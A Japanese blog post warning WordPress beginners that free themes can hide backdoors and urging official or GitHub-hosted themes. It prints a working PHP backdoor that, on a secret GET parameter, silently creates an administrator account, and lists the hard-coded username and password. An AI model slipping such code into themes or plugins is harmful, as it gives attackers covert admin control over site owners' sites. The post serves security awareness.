---
title: "WordPress テーマのバックドアコードについて - 憂いを忘れる一枚"
description: "WordPress に初めて触れる初心者の中には、いつもインターネットで無料テーマを探す人がいますが、こうしたテーマにはバックドアが仕込まれている可能性があり、簡単にあなたのウェブサイトの権限を取得され、不正な利益を得るために悪用されることがあります。"
canonical_url: "https://www.ikxin.com/ja/article/wordpress-theme-backdoor"
last_updated: "2026-09-16T09:59:27.259Z"
locale: ja
meta:
  "og:description": "WordPress に初めて触れる初心者の中には、いつもインターネットで無料テーマを探す人がいますが、こうしたテーマにはバックドアが仕込まれている可能性があり、簡単にあなたのウェブサイトの権限を取得され、不正な利益を得るために悪用されることがあります。"
  "og:image": "https://www.ikxin.com/_og/d/h_630%2Ca_~V29yZFByZXNzIOODhuODvOODnuOBruODkOODg-OCr-ODieOCouOCs-ODvOODieOBq-OBpOOBhOOBpiAtIOaGguOBhOOCkuW~mOOCjOOCi-S4gOaemg%2Cc_Article%2Ctitle_~V29yZFByZXNzIOODhuODvOODnuOBruODkOODg-OCr-ODieOCouOCs-ODvOODieOBq-OBpOOBhOOBpg%2Cdescription_~V29yZFByZXNzIOOBq-WIneOCgeOBpuinpuOCjOOCi-WIneW~g-iAheOBruS4reOBq-OBr-OAgeOBhOOBpOOCguOCpOODs-OCv-ODvOODjeODg-ODiOOBp-eEoeaWmeODhuODvOODnuOCkuaOouOBmeS6uuOBjOOBhOOBvuOBmeOBjOOAgeOBk-OBhuOBl-OBn-ODhuODvOODnuOBq-OBr-ODkOODg-OCr-ODieOCouOBjOS7lei-vOOBvuOCjOOBpuOBhOOCi-WPr-iDveaAp-OBjOOBguOCiuOAgeewoeWNmOOBq-OBguOBquOBn-OBruOCpuOCp-ODluOCteOCpOODiOOBruaoqemZkOOCkuWPluW-l-OBleOCjOOAgeS4jeato-OBquWIqeebiuOCkuW-l-OCi-OBn-OCgeOBq-aCqueUqOOBleOCjOOCi-OBk-OBqOOBjOOBguOCiuOBvuOBmeOAgg%2CsiteName_~5oaC44GE44KS5b-Y44KM44KL5LiA5p6a%2CsiteHost_www.ikxin.com%2Cp_Ii9qYS9hcnRpY2xlL3dvcmRwcmVzcy10aGVtZS1iYWNrZG9vciI%2Cs_hq6L0Cj4pR9kuWss.png"
  "og:image:alt": "WordPress テーマのバックドアコードについて - 憂いを忘れる一枚"
  "og:image:height": "630"
  "og:image:type": image/png
  "og:image:width": "1200"
  "og:title": "WordPress テーマのバックドアコードについて"
  "twitter:image": "https://www.ikxin.com/_og/d/h_630%2Ca_~V29yZFByZXNzIOODhuODvOODnuOBruODkOODg-OCr-ODieOCouOCs-ODvOODieOBq-OBpOOBhOOBpiAtIOaGguOBhOOCkuW~mOOCjOOCi-S4gOaemg%2Cc_Article%2Ctitle_~V29yZFByZXNzIOODhuODvOODnuOBruODkOODg-OCr-ODieOCouOCs-ODvOODieOBq-OBpOOBhOOBpg%2Cdescription_~V29yZFByZXNzIOOBq-WIneOCgeOBpuinpuOCjOOCi-WIneW~g-iAheOBruS4reOBq-OBr-OAgeOBhOOBpOOCguOCpOODs-OCv-ODvOODjeODg-ODiOOBp-eEoeaWmeODhuODvOODnuOCkuaOouOBmeS6uuOBjOOBhOOBvuOBmeOBjOOAgeOBk-OBhuOBl-OBn-ODhuODvOODnuOBq-OBr-ODkOODg-OCr-ODieOCouOBjOS7lei-vOOBvuOCjOOBpuOBhOOCi-WPr-iDveaAp-OBjOOBguOCiuOAgeewoeWNmOOBq-OBguOBquOBn-OBruOCpuOCp-ODluOCteOCpOODiOOBruaoqemZkOOCkuWPluW-l-OBleOCjOOAgeS4jeato-OBquWIqeebiuOCkuW-l-OCi-OBn-OCgeOBq-aCqueUqOOBleOCjOOCi-OBk-OBqOOBjOOBguOCiuOBvuOBmeOAgg%2CsiteName_~5oaC44GE44KS5b-Y44KM44KL5LiA5p6a%2CsiteHost_www.ikxin.com%2Cp_Ii9qYS9hcnRpY2xlL3dvcmRwcmVzcy10aGVtZS1iYWNrZG9vciI%2Cs_hq6L0Cj4pR9kuWss.png"
  "twitter:image:alt": "WordPress テーマのバックドアコードについて - 憂いを忘れる一枚"
---

> Index of every page on this site: [llms.txt](https://www.ikxin.com/llms.txt)

# **WordPress テーマのバックドアコードについて**

2017.08.05 5,094  0

WordPress に初めて触れる初心者の中には、いつもインターネットで無料テーマを探す人がいますが、こうしたテーマにはバックドアが仕込まれている可能性があり、簡単にあなたのウェブサイトの権限を取得され、不正な利益を得るために悪用されることがあります。

そこで、ここで初心者の皆さんに注意を促したいと思います。テーマを探す際は、必ず正規版を探してください。無料版の場合は、できれば GitHub にオープンソースプロジェクトがあるテーマを選ぶと、ある程度バックドアに遭遇する可能性を減らせます。

## 例

ここでは、よくあるバックドアコードを一つ紹介します。

 PHP

```
add_action('wp_head', 'my_backdoor');
function my_backdoor() {
    if (md5($_GET['backdoor']) == 'b0f455571f6ae6c30e7521e9bf00b4f2') {
        require('wp-includes/registration.php');
        if (!username_exists('mr_admin')) {
            $user_id = wp_create_user('xinyewl', 'me');
            $user = new WP_User($user_id);
            $user->set_role('administrator');
        }
    }
}
```

PHP がこのコードを実行し、リクエストが行われると、あなたのパスワードを使って相手の管理画面にログインでき、通常どおりログインするだけで管理者権限を取得できます。つまり、シェルまで取得できるということです。詳しいことはここでは言いませんので、自分で考えてみてください。

ここでデフォルトに設定しているアカウントとパスワードは次のとおりです。

 Plain Text

```
アカウント：xinyewl パスワード：me
```

具体的な使用方法については言いません。小学生が悪意を持ってテーマに埋め込むのを避けるためでもあります。

それでは、これで終わりです。くれぐれも悪用しないでください。

![画像](https://www.ikxin.com/_ipx/animated_true&w_1734&f_webp/https://img.8b5.cn/2019/06/25/5d11ea119621c.jpg)

## **コメント**

(0)

まだコメントはありません

## **コメントを投稿**

```json
{"@context":"https://schema.org","@graph":[{"@id":"https://www.ikxin.com/ja#website","@type":"WebSite","description":"「憂いを忘れる一枚」は、技術探究と日々の暮らしをテーマにした個人サイトです。Web 開発、バックエンド、DevOps の実践を記録し、ソフトウェアツールやデジタル体験、コードの外で得た見聞と思索を共有します。","inLanguage":"ja-JP","name":"憂いを忘れる一枚","url":"https://www.ikxin.com/ja","translationOfWork":{"@id":"https://www.ikxin.com/#website"}},{"@id":"https://www.ikxin.com/ja/article/wordpress-theme-backdoor#webpage","@type":"WebPage","description":"WordPress に初めて触れる初心者の中には、いつもインターネットで無料テーマを探す人がいますが、こうしたテーマにはバックドアが仕込まれている可能性があり、簡単にあなたのウェブサイトの権限を取得され、不正な利益を得るために悪用されることがあります。","name":"WordPress テーマのバックドアコードについて","url":"https://www.ikxin.com/ja/article/wordpress-theme-backdoor","isPartOf":{"@id":"https://www.ikxin.com/ja#website"},"potentialAction":[{"@type":"ReadAction","target":["https://www.ikxin.com/ja/article/wordpress-theme-backdoor"]}]}]}
```

## Sitemap

See the full [sitemap](https://www.ikxin.com/sitemap.md) for all pages.